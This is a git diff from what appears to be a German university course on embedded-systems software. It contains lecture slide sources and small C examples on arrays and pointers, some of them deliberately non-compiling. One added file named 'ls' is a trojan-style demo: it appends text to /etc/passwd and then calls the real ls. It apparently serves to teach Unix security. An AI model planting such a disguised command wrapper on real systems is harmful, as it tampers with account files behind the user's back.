diff --git a/20170413/arrays-pointers-16.c b/20170413/arrays-pointers-16.c
new file mode 100644
index 0000000000000000000000000000000000000000..1f540a9a3cadaf9aa17cd214f7e848ef065585cd
--- /dev/null
+++ b/20170413/arrays-pointers-16.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", "",
+ "Was", "ist", "das?", "",
+ "Ein", "Test", { 0 } };
+string5 *p = a;
+
+int main (void)
+{
+ while (**p)
+ printf ("%s\n", *p++);
+ return 0;
+}
diff --git a/20170413/arrays-pointers-17.c b/20170413/arrays-pointers-17.c
new file mode 100644
index 0000000000000000000000000000000000000000..9a906947674f3331a8e07a347fe4bdb8443b63a6
--- /dev/null
+++ b/20170413/arrays-pointers-17.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", " ",
+ "Was", "ist", "das?", " ",
+ "Ein", "Test", { 0 } };
+string5 *p = a;
+
+int main (void)
+{
+ while (**p)
+ printf ("%s\n", *p++);
+ return 0;
+}
diff --git a/20170413/bla.zip b/20170413/bla.zip
new file mode 100644
index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
diff --git a/20161006/csa2.jpg b/20170413/csa2.jpg
similarity index 100%
rename from 20161006/csa2.jpg
rename to 20170413/csa2.jpg
diff --git a/20161006/es-20161006.pdf b/20170413/es-20170413.pdf
similarity index 81%
rename from 20161006/es-20161006.pdf
rename to 20170413/es-20170413.pdf
index 9cb11f8c6aa0965c6afbb583b4d5db046a18bed0..977b9a46631c4aa51954828d50b54e8eb2d3c234 100644
Binary files a/20161006/es-20161006.pdf and b/20170413/es-20170413.pdf differ
diff --git a/20161006/es-20161006.tex b/20170413/es-20170413.tex
similarity index 85%
rename from 20161006/es-20161006.tex
rename to 20170413/es-20170413.tex
index 872611709f15f6741a3025c185609ce6573732e1..955daeee9ea5486389bcf67c25ff67f7a2d12dc3 100644
--- a/20161006/es-20161006.tex
+++ b/20170413/es-20170413.tex
@@ -1,5 +1,5 @@
-% es-20161006.pdf - Lecture Slides on Software Development for Embedded Systems
-% Copyright (C) 2013, 2014, 2015, 2016 Peter Gerwinski
+% es-20170413.pdf - Lecture Slides on Software Development for Embedded Systems
+% Copyright (C) 2013, 2014, 2015, 2016, 2017 Peter Gerwinski
%
% This document is free software: you can redistribute it and/or
% modify it either under the terms of the Creative Commons
@@ -25,15 +25,9 @@
\usepackage{pgslides}
\usepackage{rotating}
-\newcommand{\underconstruction}{%
- \begin{picture}(0,0)
- \put(9,0.3){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}}
- \put(9,0.0){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}}
- \end{picture}}
-
\title{Software-Entwicklung für eingebettete Systeme}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{6.\ Oktober 2016}
+\author{Prof.\ Dr.\ Peter Gerwinski}
+\date{13.\ April 2017}
\newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C}
@@ -45,9 +39,8 @@
\vspace*{8cm}
\begin{picture}(0,0)
-% \put(12.3,8.0){\makebox(0,0)[tr]{\LARGE\bf\color{gray}\shortstack[r]{%
-% {\normalsize Software-Entwicklung für}\\[0.5ex]
- \put(12.3,8.0){\makebox(0,0)[tr]{\Huge\bf\color{gray}\shortstack[r]{%
+ \put(12.3,8.0){\makebox(0,0)[tr]{\LARGE\bf\color{gray}\shortstack[r]{%
+ {\normalsize Software-Entwicklung für}\\[0.5ex]
Eingebettete\\Systeme\\[2ex]
\includegraphics[width=4.3cm]{logo-hochschule-bochum.pdf}}}}
%\put(9.5,5.05) % zum Vergleich
@@ -68,103 +61,71 @@
\end{frame}
+\sectionnonumber{Inhalt}
+
+\begin{frame}
+ \showsectionnonumber
+ \begin{enumerate}
+ \bf
+ \item Was sind eingebettete Systeme?
+ \item Arrays und Pointer für Fortgeschrittene
+ \item Einführung in Unix
+ \item TCP/IP-Netzwerke in der Praxis
+ \item Bus-Systeme
+ \end{enumerate}
+ \dots\ und \emph{viel\/} praktisches Arbeiten!
+
+\end{frame}
+
\section{Was sind eingebettete Systeme?}
\begin{frame}
\showsection
- \emph{Der Ausdruck \textbf{\newterm{eingebettetes System\/}} (\dots\,) bezeichnet
- einen elektronischen Rechner oder auch Computer,
- der in einen technischen Kontext eingebunden (eingebettet) ist.}
- \vspace*{-0.5cm}
- \begin{flushright}
- \url{https://de.wikipedia.org/wiki/Eingebettetes_System}
- \end{flushright}
+ \begin{quote}
+ Der Ausdruck \textbf{eingebettetes System}
+ (auch englisch \textbf{\textit{embedded system\/}})
+ bezeichnet einen elektronischen Rechner oder auch Computer,
+ der in einen technischen Kontext eingebunden (eingebettet) ist.\\
+ \strut\hfill Wikipedia
+ \end{quote}
- \begin{itemize}
- \pause
- \item
- \emph{keine\/} Aussage über die Größe
- \pause
- \item
- in der Praxis: so klein wie möglich\only<5->{, z.\,B.:}\\[\smallskipamount]
- \only<4>{\vspace*{-3.3cm}\hspace*{0.7cm}\includegraphics[height=8cm]{csa2.jpg}\hspace*{-1cm}\vspace*{-8cm}}
- \pause
- \pause
- \begin{itemize}
- \item
- mehrere Rechnerschränke
- \item
- Industrie-PC
- \item
- Einplatinencomputer
- \item
- Mikro-Controller
- \end{itemize}
- \pause
- \item
- Bedienung über spezielle Ein-/Ausgabegeräte (z.\,B.\ Flugsimulator, Telefon)
- \pause
- \item
- Wartung über speziellen Adminstrator-Zugang
- \begin{itemize}
- \item
- Bus-Schnittstelle (RS-232, CAN-BUS)
- \item
- Netzwerk (TCP/IP, Ethernet oder WLAN)
- \end{itemize}
- \pause
- \item
- Programmierung oft außerhalb des Systems\\
- (Cross-Entwicklungswerkzeuge)
- \end{itemize}
- \vspace*{-1cm}
+ \pause
-\end{frame}
+ \textarrow\ \emph{Keine\/} Aussage über die Größe.
-\sectionnonumber{In dieser Lehrveranstaltung}
+\end{frame}
\begin{frame}
- \showsectionnonumber
- \vspace*{-\medskipamount}
+ \showsection
+
+% \pause
\begin{itemize}
\item
- Einführung in Unix
- \item
- TCP/IP und Bus-Systeme in der Praxis
- \item
- Web-Interfaces
- \item
- C-Programmierung für Fortgeschrittene
- \item
- Theorie und Praxis der Echtzeitprogrammierung
- \item
- Exkursion: TFC -- Simulatoren und Technik GmbH, Velbert-Nierenhof
- \item
- Prüfungsleistung: Projektaufgabe\\
+ Projektaufgabe:\\
Eingebettetes System eigener Wahl zum Laufen bringen
+% \pause
\arrowitem
- {\color{red}Projektaufgabe überlegen}
+ Projektaufgabe überlegen
\end{itemize}
\bigskip
- \color{gray}
- Weitere Ideen:
+% \pause
+ Beispiele:
\begin{itemize}
- \item[\color{gray}$\bullet$]
- \color{gray}
- Einführung in die GUI-Programmierung
+ \item Rasenmährobotersteuerung
+ \item Weiterarbeit an Smartphone-Prototyp
+ \item Verbesserungen an Flugzeugkabinensimulatoren
+ \item Spülmaschinensteuerung
+ \item Sampler-Grabber für MIDI
+ \item \dots
\end{itemize}
- \underconstruction
-
\end{frame}
-\clearpage\strut\clearpage
-
\sectionnonumber{Aufgaben}
\begin{frame}[c]
@@ -235,6 +196,55 @@
\end{frame}
+\begin{frame}[fragile]
+ \showsection
+
+ \begin{minipage}[t]{6cm}
+ Array:
+ \smallskip
+ \begin{lstlisting}[gobble=6]
+ char a[] = "Test";
+ \end{lstlisting}
+ \end{minipage}\hfill
+ \begin{minipage}[t]{6cm}
+ Zeiger:
+ \smallskip
+ \begin{lstlisting}[gobble=6]
+ char *p = "Test";
+ \end{lstlisting}
+ \end{minipage}
+
+ \bigskip
+
+ \begin{itemize}
+ \item
+ In beiden Fällen wird ein Array von ganzen Zahlen\\
+ (5 \lstinline{char}-Variable mit den Werten 84, 101, 115, 116 und 0)\\
+ im Speicher angelegt.
+ \medskip
+ \item
+ Links heißt das Array \lstinline{a};
+ rechts ist es "`anonym"'.
+ \item
+ Rechts wird zusätzlich ein Zeiger \lstinline{p} im Speicher angelegt,\\
+ der auf das (anonyme) Array zeigt.
+ \medskip
+ \item
+ \lstinline{&a} ist {\color{red}fast} dasselbe wie \lstinline{a},\\
+ nämlich die Adresse des Arrays {\color{red}bzw.\ das Array selbst,\\
+ das zuweisungskompatibel zu einem Zeiger auf Elemente des Arrays ist.\\
+ \lstinline{&} bewirkt hier eine (nicht explizite!) Typumwandlung.}
+ \item
+ \lstinline{&p} ist die Adresse des Zeigers.
+ \item
+ \lstinline{p} ist der Wert des Zeigers,\\
+ momentan also die Adresse des (anonymen) Arrays.
+ \end{itemize}
+
+ \vspace*{-1cm}
+
+\end{frame}
+
\begin{frame}[fragile]
\showsection
@@ -302,7 +312,7 @@
\thicklines
\put(8.6,0.7){\line(1,0){0.85}}
\put(9.05,0.4){\makebox(0,0)[t]{$\overbrace{\mbox{nur mit Trick:
- \lstinline|p += 5|}}$}}
+ \lstinline{p += 5}}}$}}
\end{picture}
\end{frame}
@@ -354,6 +364,8 @@
Schleife durch äußeres Array mit \lstinline{p++} möglich
\end{itemize}
+ \pause
+
\begin{picture}(0,0)(-2,-0.4)
\color{red}
\thicklines
@@ -388,6 +400,8 @@
\end{frame}
+\iffalse
+
\section{Bus-Systeme}
\begin{frame}
@@ -626,51 +640,6 @@
\end{frame}
-\begin{frame}[fragile]
- \showsection
-
- \begin{minipage}[t]{6cm}
- Array:
- \smallskip
- \begin{lstlisting}[gobble=6]
- char a[] = "Test";
- \end{lstlisting}
- \end{minipage}\hfill
- \begin{minipage}[t]{6cm}
- Zeiger:
- \smallskip
- \begin{lstlisting}[gobble=6]
- char *p = "Test";
- \end{lstlisting}
- \end{minipage}
-
- \bigskip
-
- \begin{itemize}
- \item
- In beiden Fällen wird ein Array von ganzen Zahlen\\
- (5 \lstinline{char}-Variable mit den Werten 84, 101, 115, 116 und 0)\\
- im Speicher angelegt.
- \medskip
- \item
- Links heißt das Array \lstinline{a};
- rechts ist es "`anonym"'.
- \item
- Rechts wird zusätzlich ein Zeiger \lstinline{p} im Speicher angelegt,\\
- der auf das (anonyme) Array zeigt.
- \medskip
- \item
- \lstinline{&a} ist {\color{red}fast} dasselbe wie \lstinline{a},\\
- nämlich die Adresse des Arrays {\color{red}bzw.\ das Array selbst,\\
- das zuweisungskompatibel zu einem Zeiger auf Elemente des Arrays ist.\\
- \lstinline{&} bewirkt hier eine (nicht explizite!) Typumwandlung.}
- \item
- \lstinline{&p} ist die Adresse des Zeigers.
- \item
- \lstinline{p} ist der Wert des Zeigers,\\
- momentan also die Adresse des (anonymen) Arrays.
- \end{itemize}
-
-\end{frame}
+\fi
\end{document}
diff --git a/20161006/floppys.jpg b/20170413/floppys.jpg
similarity index 100%
rename from 20161006/floppys.jpg
rename to 20170413/floppys.jpg
diff --git a/20161006/hexapode.png b/20170413/hexapode.png
similarity index 100%
rename from 20161006/hexapode.png
rename to 20170413/hexapode.png
diff --git a/20161006/logo-hochschule-bochum-cvh-text.pdf b/20170413/logo-hochschule-bochum-cvh-text.pdf
similarity index 100%
rename from 20161006/logo-hochschule-bochum-cvh-text.pdf
rename to 20170413/logo-hochschule-bochum-cvh-text.pdf
diff --git a/20161006/logo-hochschule-bochum.pdf b/20170413/logo-hochschule-bochum.pdf
similarity index 100%
rename from 20161006/logo-hochschule-bochum.pdf
rename to 20170413/logo-hochschule-bochum.pdf
diff --git a/20161006/pgslides.sty b/20170413/pgslides.sty
similarity index 100%
rename from 20161006/pgslides.sty
rename to 20170413/pgslides.sty
diff --git a/20170413/photo-20170413-170448.jpg b/20170413/photo-20170413-170448.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..e5d7729c812217d587f85579b05a5e861888068e
Binary files /dev/null and b/20170413/photo-20170413-170448.jpg differ
diff --git a/20170413/unix-20170413.pdf b/20170413/unix-20170413.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..d84d0adefeea93def07737897d9bff7cf26165bc
Binary files /dev/null and b/20170413/unix-20170413.pdf differ
diff --git a/20161006/unix-20161006.tex b/20170413/unix-20170413.tex
similarity index 99%
rename from 20161006/unix-20161006.tex
rename to 20170413/unix-20170413.tex
index e4953370c9614b22b778226f3798dabc39dc4ca1..1f836af6df3d3f99faec57d8e1ddd2776af483b1 100644
--- a/20161006/unix-20161006.tex
+++ b/20170413/unix-20170413.tex
@@ -1,5 +1,5 @@
% unix-20161006.pdf - Lecture Slides on Unix Fundamentals
-% Copyright (C) 2013, 2015, 2016 Peter Gerwinski
+% Copyright (C) 2013, 2015, 2016, 2017 Peter Gerwinski
%
% This document is free software: you can redistribute it and/or
% modify it either under the terms of the Creative Commons
@@ -40,7 +40,7 @@
\title{Einführung in Unix}
\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{6.\ Oktober 2016}
+\date{13.\ April 2017}
\begin{document}
diff --git a/20170420/arrays-0.c b/20170420/arrays-0.c
new file mode 100644
index 0000000000000000000000000000000000000000..c7979f25e040d43fc8d801068c21243114a3c7fe
--- /dev/null
+++ b/20170420/arrays-0.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+ char *p = "Test";
+ p = "Hallo";
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170420/arrays-1.c b/20170420/arrays-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..dec221d5cd8cefd6ef600df4ac4ddaf5af8da4f0
--- /dev/null
+++ b/20170420/arrays-1.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+ char a[] = "Test";
+ a = "Hallo";
+ printf ("%s\n", a);
+ return 0;
+}
diff --git a/20170420/arrays-10.c b/20170420/arrays-10.c
new file mode 100644
index 0000000000000000000000000000000000000000..1ade63bd89f4723417ac68d27d3aa859ccc766e0
--- /dev/null
+++ b/20170420/arrays-10.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+#define LENGTH 5
+
+int main (void)
+{
+ char a[][LENGTH] = { "Dies", "ist", "ein", "Test" };
+ for (char *p = a[0]; p < a[4]; p += LENGTH)
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170420/arrays-11.c b/20170420/arrays-11.c
new file mode 100644
index 0000000000000000000000000000000000000000..9d7c6edd2eb3d39892e7598544170f40ef373f38
--- /dev/null
+++ b/20170420/arrays-11.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef string5 = char[5];
+
+int main (void)
+{
+ string5 a[] = { "Dies", "ist", "ein", "Test" };
+ for (string5 *p = a[0]; p < a[4]; p++)
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170420/arrays-12.c b/20170420/arrays-12.c
new file mode 100644
index 0000000000000000000000000000000000000000..c1e2a184a9d30f7e4f8af7d0152d9fe3cc452de7
--- /dev/null
+++ b/20170420/arrays-12.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+ string5 a[] = { "Dies", "ist", "ein", "Test" };
+ for (string5 *p = a[0]; p < a[4]; p++)
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170420/arrays-13.c b/20170420/arrays-13.c
new file mode 100644
index 0000000000000000000000000000000000000000..436360a1ab29522a86ce067bdba403d7922318a9
--- /dev/null
+++ b/20170420/arrays-13.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+ string5 a[] = { "Dies", "ist", "ein", "Test" };
+ for (string5 *p = a; p < a + 4; p++)
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170420/arrays-14.c b/20170420/arrays-14.c
new file mode 100644
index 0000000000000000000000000000000000000000..1d3877ccf4a6845ba55b6e3bc923f75e9c2d2768
--- /dev/null
+++ b/20170420/arrays-14.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+ string5 a[] = { "Dies", "ist", "ein", "Test" };
+ for (string5 *p = a; p < a + 4; p++)
+ printf ("%s\n", (char *) p);
+ return 0;
+}
diff --git a/20170420/arrays-15.c b/20170420/arrays-15.c
new file mode 100644
index 0000000000000000000000000000000000000000..cbb9cb2d154275952c293e5cc35a0daa248dcfc3
--- /dev/null
+++ b/20170420/arrays-15.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+ string5 a[] = { "Dies", "ist", "ein", "Test" };
+ for (string5 *p = a; p < a + 4; p++)
+ printf ("%s\n", &p[0]);
+ return 0;
+}
diff --git a/20170420/arrays-16.c b/20170420/arrays-16.c
new file mode 100644
index 0000000000000000000000000000000000000000..527024c2457e2a68ebf2a37e4bf1d584f04e205a
--- /dev/null
+++ b/20170420/arrays-16.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+ string5 a[] = { "Dies", "ist", "ein", "Test" };
+ for (string5 *p = a; p < a + 4; p++)
+ printf ("%s\n", *p);
+ return 0;
+}
diff --git a/20170420/arrays-2.c b/20170420/arrays-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..2bedab39c6c40bfbae464371f2ebb1ced3f3f966
--- /dev/null
+++ b/20170420/arrays-2.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+int main (void)
+{
+ char a[] = "Test";
+ char *p = a;
+ printf ("%s\n", p);
+ p = "Hallo";
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170420/arrays-3.c b/20170420/arrays-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..addd80905052c1ea29534c4f8c0b85fd8c39d9e7
--- /dev/null
+++ b/20170420/arrays-3.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+int main (void)
+{
+ char a[] = "Test";
+ char *p = &a;
+ printf ("%s\n", p);
+ p = "Hallo";
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20161020/arrays-10.c b/20170420/arrays-4.c
similarity index 99%
rename from 20161020/arrays-10.c
rename to 20170420/arrays-4.c
index e474b148c64040bd98b81f4e1290858baa0a27f6..58ab7633e55d9c34a0a2bcd52502a7b4bf58f2d0 100644
--- a/20161020/arrays-10.c
+++ b/20170420/arrays-4.c
@@ -4,7 +4,6 @@ int main (void)
{
char *a[] = { "Dies", "ist", "ein", "Test" };
char **p = a;
-
for (int i = 0; i < 4; i++)
printf ("%s\n", a[i]);
return 0;
diff --git a/20161020/arrays-12.c b/20170420/arrays-5.c
similarity index 56%
rename from 20161020/arrays-12.c
rename to 20170420/arrays-5.c
index b8a2d6a99f5045ca7dfbd3269883118dba38e182..29c2d36a5210f9e567e031f56927ad0eed058698 100644
--- a/20161020/arrays-12.c
+++ b/20170420/arrays-5.c
@@ -3,12 +3,8 @@
int main (void)
{
char *a[] = { "Dies", "ist", "ein", "Test" };
-
+ char **p = a;
for (int i = 0; i < 4; i++)
- {
- for (int j = 0; a[i][j]; j++)
- printf ("%c", a[i][j]);
- printf ("\n");
- }
+ printf ("%s\n", *p);
return 0;
}
diff --git a/20161020/arrays-11.c b/20170420/arrays-6.c
similarity index 99%
rename from 20161020/arrays-11.c
rename to 20170420/arrays-6.c
index 51a98f254a8f89c328b4d0cb58c644c126012de6..aa6e043074e94ef5986cbdedfab92c3d7801a3b8 100644
--- a/20161020/arrays-11.c
+++ b/20170420/arrays-6.c
@@ -4,7 +4,6 @@ int main (void)
{
char *a[] = { "Dies", "ist", "ein", "Test" };
char **p = a;
-
for (int i = 0; i < 4; i++)
printf ("%s\n", *p++);
return 0;
diff --git a/20170420/arrays-7.c b/20170420/arrays-7.c
new file mode 100644
index 0000000000000000000000000000000000000000..4ce256e0c45fa8bc79b3b838a1cbe8f9f7eadac2
--- /dev/null
+++ b/20170420/arrays-7.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+ char *a[] = { "Dies", "ist", "ein", "Test" };
+ for (char **p = a; p < a + 4; p++)
+ printf ("%s\n", *p);
+ return 0;
+}
diff --git a/20170420/arrays-8.c b/20170420/arrays-8.c
new file mode 100644
index 0000000000000000000000000000000000000000..145aafac3d709214b245635110418b6920459deb
--- /dev/null
+++ b/20170420/arrays-8.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+ char a[][5] = { "Dies", "ist", "ein", "Test" };
+ for (char *p = a[0]; p < a[4]; p++)
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170420/arrays-9.c b/20170420/arrays-9.c
new file mode 100644
index 0000000000000000000000000000000000000000..1fd7fb0b2c84b05ad68e499523781c6a1f82765c
--- /dev/null
+++ b/20170420/arrays-9.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+ char a[][5] = { "Dies", "ist", "ein", "Test" };
+ for (char *p = a[0]; p < a[4]; p += 5)
+ printf ("%s\n", p);
+ return 0;
+}
diff --git a/20170420/photo-20170420-170351.jpg b/20170420/photo-20170420-170351.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..7f6fe33cef84a8c07e26f0838cbe70e0ad2704af
Binary files /dev/null and b/20170420/photo-20170420-170351.jpg differ
diff --git a/20170420/photo-20170420-170456.jpg b/20170420/photo-20170420-170456.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..562d2ff69b46f3755bd0693249de9586a6fd2b71
Binary files /dev/null and b/20170420/photo-20170420-170456.jpg differ
diff --git a/20170420/photo-20170420-170703.jpg b/20170420/photo-20170420-170703.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..97817b567a7eaac22d3581bb4b524a04a7fe523d
Binary files /dev/null and b/20170420/photo-20170420-170703.jpg differ
diff --git a/20170420/photo-20170420-170740.jpg b/20170420/photo-20170420-170740.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..ccd6becda618aab3c40aac1a9e784cc2c24bda4a
Binary files /dev/null and b/20170420/photo-20170420-170740.jpg differ
diff --git a/20161103/hello.c b/20170427/hello-1.c
similarity index 100%
rename from 20161103/hello.c
rename to 20170427/hello-1.c
diff --git a/20161013/test.c b/20170427/hello-2.c
similarity index 59%
rename from 20161013/test.c
rename to 20170427/hello-2.c
index f82b1bb2869918a99fc8f63c90973e9bd38ed62b..b767f77cd3a7328e5f45b60e674d32a647386509 100644
--- a/20161013/test.c
+++ b/20170427/hello-2.c
@@ -2,6 +2,6 @@
int main (void)
{
- printf ("Dies ist ein Test.\n");
+ puts ("Hello, world!");
return 0;
}
diff --git a/20170427/hello-3.c b/20170427/hello-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..0e56d5a33a3ac5f71ac2f06073beb86162ca8947
--- /dev/null
+++ b/20170427/hello-3.c
@@ -0,0 +1,7 @@
+#include <unistd.h>
+
+int main (void)
+{
+ write (1, "Hello, world!\n", 14);
+ return 0;
+}
diff --git a/20170427/hello-4.c b/20170427/hello-4.c
new file mode 100644
index 0000000000000000000000000000000000000000..36b40f8e0ebf23ea29208a375288386a94e84daa
--- /dev/null
+++ b/20170427/hello-4.c
@@ -0,0 +1,8 @@
+#include <stdio.h>
+
+int main (void)
+{
+ for (int i = 1; i < 4000000000; i += i)
+ printf ("Hello, %d world!\n", i);
+ return 0;
+}
diff --git a/20170427/ls b/20170427/ls
new file mode 100755
index 0000000000000000000000000000000000000000..72f24b86001643e60f736e18d57395790953745b
--- /dev/null
+++ b/20170427/ls
@@ -0,0 +1,2 @@
+echo "Schlimme Dinge ..." >> /etc/passwd
+/bin/ls "$@"
diff --git a/20170427/photo-20170427-170348.jpg b/20170427/photo-20170427-170348.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..7f85438308b75030a21729842ee05fece9ba40ce
Binary files /dev/null and b/20170427/photo-20170427-170348.jpg differ
diff --git a/20170504/photo-20170504-165709.jpg b/20170504/photo-20170504-165709.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..8215e27e72c27db57f1b4342ffececc169054dbe
Binary files /dev/null and b/20170504/photo-20170504-165709.jpg differ
diff --git a/20170504/photo-20170504-165752.jpg b/20170504/photo-20170504-165752.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..2bde2a30c6f5a7dcc09a3b0e6720cdbbac174ea9
Binary files /dev/null and b/20170504/photo-20170504-165752.jpg differ
diff --git a/20161110/I2C_data_transfer.pdf b/20170511/I2C_data_transfer.pdf
similarity index 100%
rename from 20161110/I2C_data_transfer.pdf
rename to 20170511/I2C_data_transfer.pdf
diff --git a/20161110/SPI_single_slave.pdf b/20170511/SPI_single_slave.pdf
similarity index 100%
rename from 20161110/SPI_single_slave.pdf
rename to 20170511/SPI_single_slave.pdf
diff --git a/20161110/SPI_three_slaves.pdf b/20170511/SPI_three_slaves.pdf
similarity index 100%
rename from 20161110/SPI_three_slaves.pdf
rename to 20170511/SPI_three_slaves.pdf
diff --git a/20161110/SPI_three_slaves_daisy_chained.pdf b/20170511/SPI_three_slaves_daisy_chained.pdf
similarity index 100%
rename from 20161110/SPI_three_slaves_daisy_chained.pdf
rename to 20170511/SPI_three_slaves_daisy_chained.pdf
diff --git a/20170511/es-20170413.pdf b/20170511/es-20170413.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..602c800635d1228652ef21e872be5952f4b6bbef
Binary files /dev/null and b/20170511/es-20170413.pdf differ
diff --git a/20170511/es-20170413.tex b/20170511/es-20170413.tex
new file mode 100644
index 0000000000000000000000000000000000000000..f8c8f3df0860d8764cd1a4e67f3f1f5e4eb54271
--- /dev/null
+++ b/20170511/es-20170413.tex
@@ -0,0 +1,508 @@
+% es-20170511.pdf - Lecture Slides on Software Development for Embedded Systems
+% Copyright (C) 2013, 2014, 2015, 2016, 2017 Peter Gerwinski
+%
+% This document is free software: you can redistribute it and/or
+% modify it either under the terms of the Creative Commons
+% Attribution-ShareAlike 3.0 License, or under the terms of the
+% GNU General Public License as published by the Free Software
+% Foundation, either version 3 of the License, or (at your option)
+% any later version.
+%
+% This document is distributed in the hope that it will be useful,
+% but WITHOUT ANY WARRANTY; without even the implied warranty of
+% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+% GNU General Public License for more details.
+%
+% You should have received a copy of the GNU General Public License
+% along with this document. If not, see <http://www.gnu.org/licenses/>.
+%
+% You should have received a copy of the Creative Commons
+% Attribution-ShareAlike 3.0 Unported License along with this
+% document. If not, see <http://creativecommons.org/licenses/>.
+
+\documentclass[10pt,t]{beamer}
+
+\usepackage{pgslides}
+\usepackage{rotating}
+\usepackage{tikz}
+
+\title{Software-Entwicklung für eingebettete Systeme}
+\author{Prof.\ Dr.\ Peter Gerwinski}
+\date{11.\ Mai 2017}
+
+\newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C}
+
+\begin{document}
+
+\maketitleframe
+
+\sectionnonumber{Inhalt}
+
+\begin{frame}
+ \showsectionnonumber
+ \begin{enumerate}
+ \bf
+ \item Was sind eingebettete Systeme?
+ \item Arrays und Pointer für Fortgeschrittene
+ \item Einführung in Unix
+ \item TCP/IP-Netzwerke in der Praxis
+ \item Bus-Systeme
+ \end{enumerate}
+ \dots\ und \emph{viel\/} praktisches Arbeiten!
+
+ \vspace*{1.5cm}
+
+ \begin{center}
+ \color{red}\large
+ Exkursion zu Lufthansa (Frankfurt) -- wann?
+ \end{center}
+
+\end{frame}
+
+\setcounter{section}{4}
+\section{Bus-Systeme}
+\subsection{Was sind Bus-Systeme?}
+
+\begin{frame}
+ \showsection
+ \showsubsection
+
+ \begin{quote}
+ Ein Bus ist ein System zur Datenübertragung zwischen mehreren
+ Teilnehmern über einen gemeinsamen Übertragungsweg.
+% \color{gray}
+% Findet eine Datenübertragung zwischen zwei Teilnehmern statt, so
+% müssen die übrigen Teilnehmer schweigen, da sie sich sonst
+% gegenseitig stören würden. Umgangssprachlich werden mitunter --
+% oft aus historischen Gründen – auch Datenübertragungssysteme als
+% "`Bus"' bezeichnet, die technisch eigentlich eine andere
+% Topologie besitzen.
+
+ \medskip
+
+ \strut\hfill\url{https://de.wikipedia.org/wiki/Bus_(Datenverarbeitung)}
+ \end{quote}
+ Beispiele:
+ \begin{itemize}
+ \item
+ Computer kommuniziert mit Peripherie
+ \item
+ Computer kommunizieren (direkt) miteinander
+ \item
+ Prozessor kommuniziert mit externem Speicher
+ \item
+ Teile eines Prozessors kommunizieren miteinander
+ \end{itemize}
+\end{frame}
+
+\begin{frame}
+ \showsection
+ \showsubsection
+ Standard-Computer:
+ \begin{itemize}
+ \item
+ Einsteckkarten: PCI (und Vorgänger)
+ \item
+ Festplatten: SATA (und Vorgänger)
+ \item
+ USB, FireWire, \dots
+ \item
+ Ethernet, CAN-Bus, \dots
+ \item
+ WLAN, BlueTooth, IR, \dots
+ \item
+ PS/2, RS-232, Centronics
+ \end{itemize}
+
+ \medskip
+
+ Minimal-Hardware:
+ \begin{itemize}
+ \item
+ RS-232
+ \item
+ \ItwoC\ (TWI)
+ \item
+ SPI
+ \end{itemize}
+
+ \begin{onlyenv}<1>
+ \begin{picture}(0,0)
+ \put(5,1.5){\includegraphics[height=3cm]{motherboard-anschluesse.jpg}}
+ \end{picture}
+ \end{onlyenv}
+ \begin{onlyenv}<2>
+ \begin{picture}(0,0)(-1.3,-4)
+ \put(1.8,-4.9){\includegraphics[height=3.5cm]{kompassmodul-an-roboter.jpg}}
+ \put(6.1,-3.3){\includegraphics[height=4.5cm]{kompassmodul.jpg}}
+ \put(6.1,1.2){\makebox(0,0)[tr]{\tikz{\draw(0,0)--(-1.9,-3.6);}}}
+ \put(6.1,-3.3){\makebox(0,0)[br]{\tikz{\draw(0,0)--(-1.8,0.2);}}}
+ \end{picture}
+ \end{onlyenv}
+\end{frame}
+
+\begin{frame}[fragile]
+
+ \showsection
+ \showsubsection
+
